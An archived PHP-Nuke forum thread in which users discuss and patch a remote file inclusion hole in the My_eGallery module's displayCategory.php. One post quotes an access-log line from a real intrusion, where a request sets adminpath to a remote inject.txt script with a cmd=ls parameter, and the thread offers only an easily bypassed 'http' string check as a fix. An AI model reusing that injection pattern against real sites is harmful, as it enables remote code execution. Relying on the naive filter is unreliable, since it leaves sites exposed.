You are missing our premiere tool bar navigation system! Register and use it for FREE!

NukeCops  
•  Home •  Downloads •  Gallery •  Your Account •  Forums • 
Readme First
- Readme First! -

Read and follow the rules, otherwise your posts will be closed
Modules
· Home
· FAQ
· Buy a Theme
· Advertising
· AvantGo
· Bookmarks
· Columbia
· Community
· Donations
· Downloads
· Feedback
· Forums
· PHP-Nuke HOWTO
· Private Messages
· Search
· Statistics
· Stories Archive
· Submit News
· Surveys
· Theme Gallery
· Top
· Topics
· Your Account
Who's Online
There are currently, 67 guest(s) and 0 member(s) that are online.

You are Anonymous user. You can register for free by clicking here
Nuke Cops :: View topic - My_eGallery Security Exploit Fix [ ]
 Forum FAQ  •  Search  •   •  Memberlist  •  Usergroups   •  Register  •  Profile •    •  Log in to check your private messages  •  Log in

 
Post new topic  Reply to topicprinter-friendly view
View previous topic Log in to check your private messages View next topic
Poll :: Did this fix help you?

Yes
90%
 90%  [ 10 ]
No
9%
 9%  [ 1 ]
Total Votes : 11


Author Message
Laffer
Corporal
Corporal


Joined: Jun 03, 2003
Posts: 54

Location: France

PostPosted: Fri Nov 28, 2003 12:31 pm Reply with quoteBack to top

After analyzing the My_eGallery exploit, I found out, that the responsible module is /modules/My_eGallery/public/displayCategory.php

To fix quickly the issue insert in the second line after
<?php

the following code:

$bug = strpos($basepath,"http");
if ($bug === false) {

and at the end of the file before ?>

}
else {
echo "You are trying to hack our site! GO AWAY BASTARD!";
}


This will avoid that someone can inject php code from outside the Webserver!
Find all posts by LafferView user's profileSend private messageVisit poster's websiteICQ Number
Johan1982
Nuke Soldier
Nuke Soldier


Joined: Oct 13, 2003
Posts: 22


PostPosted: Fri Nov 28, 2003 4:06 pm Reply with quoteBack to top

This fix prevents that the attacker take advantage of that bug of security?

Greetings and thanks Cool
Find all posts by Johan1982View user's profileSend private message
Laffer
Corporal
Corporal


Joined: Jun 03, 2003
Posts: 54

Location: France

PostPosted: Sat Nov 29, 2003 12:49 am Reply with quoteBack to top

Yes, it tests if someone injected a new value for $basepath contain http
Find all posts by LafferView user's profileSend private messageVisit poster's websiteICQ Number
Johan1982
Nuke Soldier
Nuke Soldier


Joined: Oct 13, 2003
Posts: 22


PostPosted: Sat Nov 29, 2003 10:21 pm Reply with quoteBack to top

How we can verify it? in http://lottasophie.sourceforge.net a patch exists but for the version 3.1.1g, I believe that a patch for version 2.7.9 could be done based of the patch for the version 3.1.1g Cool
Find all posts by Johan1982View user's profileSend private message
Laffer
Corporal
Corporal


Joined: Jun 03, 2003
Posts: 54

Location: France

PostPosted: Sun Nov 30, 2003 12:12 am Reply with quoteBack to top

You want to have a 100% fix? Just replace the $basepath variable with the realpath in the first 2 lines starting with include (".....

Then it is 100% fixed for this vulnerability...
Find all posts by LafferView user's profileSend private messageVisit poster's websiteICQ Number
Johan1982
Nuke Soldier
Nuke Soldier


Joined: Oct 13, 2003
Posts: 22


PostPosted: Sun Nov 30, 2003 10:39 am Reply with quoteBack to top

how?

Code:
include ("$basepath/public/imageFunctions.php");
include ("$adminpath/fileFunctions.php");


replace with:

Code:
include_once 'modules/My_eGallery/public/imageFunctions.php';
include_once 'modules/My_eGallery/fileFunctions.php';


It is well?
Find all posts by Johan1982View user's profileSend private message
Johan1982
Nuke Soldier
Nuke Soldier


Joined: Oct 13, 2003
Posts: 22


PostPosted: Sun Nov 30, 2003 10:45 am Reply with quoteBack to top

Or only replace the $basepath line with the real path? Question
Find all posts by Johan1982View user's profileSend private message
Laffer
Corporal
Corporal


Joined: Jun 03, 2003
Posts: 54

Location: France

PostPosted: Sun Nov 30, 2003 11:27 am Reply with quoteBack to top

Exactly! Just put those 2 lines:

include ("modules/My_eGallery/public/imageFunctions.php");
include ("modules/My_eGallery/fileFunctions.php");
Find all posts by LafferView user's profileSend private messageVisit poster's websiteICQ Number
Johan1982
Nuke Soldier
Nuke Soldier


Joined: Oct 13, 2003
Posts: 22


PostPosted: Sun Nov 30, 2003 11:34 am Reply with quoteBack to top

Thanks, already I have done it and everything seems to march well Cool But I have done it how have it in fix of 3.0.1g works truth also well?
Find all posts by Johan1982View user's profileSend private message
Johan1982
Nuke Soldier
Nuke Soldier


Joined: Oct 13, 2003
Posts: 22


PostPosted: Sun Nov 30, 2003 11:41 am Reply with quoteBack to top

Code:
include_once 'modules/My_eGallery/public/imageFunctions.php';
include_once 'admin/modules/gallery/fileFunctions.php';


and

Code:
include ("modules/My_eGallery/public/imageFunctions.php");
include ("admin/modules/gallery/fileFunctions.php");


It is the same?

I have modified this message, since I detected an error that it had there, but that already has been corrected, thanks johnnycard for the observation.

Only I have had left the doubt that I am raising to them in this message, I believe that I have it well.


Last edited by Johan1982 on Sun Nov 30, 2003 5:31 pm; edited 2 times in total
Find all posts by Johan1982View user's profileSend private message
johnnycard
Corporal
Corporal


Joined: May 29, 2003
Posts: 52

Location: UK

PostPosted: Sun Nov 30, 2003 3:20 pm Reply with quoteBack to top

The admin path on my version (2.7.9) differs, I had to replace the first 2 lines with... (note 2nd line for admin path)

Code:
include ("modules/My_eGallery/public/imageFunctions.php");
include ("admin/modules/gallery/fileFunctions.php");


Thanks Laffer, I hope this does the trick
Find all posts by johnnycardView user's profileSend private message
jn
Nuke Cadet
Nuke Cadet


Joined: Dec 17, 2003
Posts: 1


PostPosted: Wed Dec 17, 2003 3:11 am Reply with quoteBack to top

I am the maintainer of MeG for PostNuke, and I am glad that I found this thread.

Please be aware that in the PHPNuke version of MeG the displayCategory.php is not the only file with that vulnerability! So I am not sure if you really got a 100% fixed version.

If anybody knows a maintainer of MeG for PHPNuke please let me know as I am searching someone to discuss the issues with.

Contact me by jnapp at users dot sf dot net

Jörg
http://lottasophie.sf.net
Find all posts by jnView user's profileSend private message
Laffer
Corporal
Corporal


Joined: Jun 03, 2003
Posts: 54

Location: France

PostPosted: Wed Dec 17, 2003 3:50 am Reply with quoteBack to top

Hello Joerg,

there is no official maintainer, but I will take the role to fix the Gallery, because I have a big site running MeG. We can talk german if you like (it seems you are german like me) and you can contact me by mail webmaster@comicfan.de
Find all posts by LafferView user's profileSend private messageVisit poster's websiteICQ Number
Kliber
Corporal
Corporal


Joined: Dec 22, 2003
Posts: 50

Location: Venezuela

PostPosted: Sun Dec 28, 2003 4:27 pm Reply with quoteBack to top

Im Running a Huge Gallery too; do you guys found the Fix for other file than displaycategory.php?
Find all posts by KliberView user's profileSend private messageVisit poster's websiteAIM Address
hamesh
Support Mod
Support Mod


Joined: Feb 13, 2003
Posts: 170

Location: Canada

PostPosted: Sun Jan 04, 2004 7:46 pm Reply with quoteBack to top

The basepath bug is not the only hole. I found an executable file namd 4000 in my /modules/My_eGallery/public folder today. Tracing back the logs, I found the following:

Code:
203.130.195.89 - - [30/Dec/2003:05:57:27 -0700] "GET /modules/My_eGallery/public/displayCategory.php?adminpath=http://<truncated>/inject.txt?&cmd=ls HTTP/1.1" 200 385 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; FunWebProducts)"


The execuble lauches some type of daemon. Not sure what it does. If someone at nukecops would like a copy of it and the inject.txt script, msg me and I'll send them to you - maybe you can figure out what they do.

I patched displayCategory.php in My_eGallery to block further hack attempts by modifying the original basepath fix by adding the following:

Top of displayCategory.php:
Code:
$bug = strpos($basepath,"http");
$bug2 = strpos($adminpath,"http");
if ($bug === false AND $bug2 === false) {


End of displayCategory.php:
Code:
else {
echo "Yeah, I don't think so dipshit...";
}


As far as I can tell, by host's firewall blocked outgoing traffic on the as-yet unknown TCP or UDP port the script binds to, so luckily nothing in my database or site appears to have been changed. Anyone using My_eGallery should make this change post-haste.

_________________
Image
Find all posts by hameshView user's profileSend private messageSend e-mailVisit poster's websiteMSN MessengerICQ Number
Display posts from previous:      
Post new topic  Reply to topicprinter-friendly view
View previous topic Log in to check your private messages View next topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum



Powered by phpBB © 2001, 2005 phpBB Group

Ported by Nuke Cops © 2003 www.nukecops.com
:: FI Theme :: PHP-Nuke theme by coldblooded (www.nukemods.com) ::
Powered by · TOGETHER TEAM srl ITALY http://www.togetherteam.it · DONDELEO E-COMMERCE http://www.DonDeLeo.com
Web site engine's code is Copyright © 2002 by PHP-Nuke. All Rights Reserved. PHP-Nuke is Free Software released under the GNU/GPL license.
Page Generation: 0.239 Seconds - 281 pages served in past 5 minutes. Nuke Cops Founded by Paul Laudanski (Zhen-Xjell)
:: FI Theme :: PHP-Nuke theme by coldblooded (www.nukemods.com) ::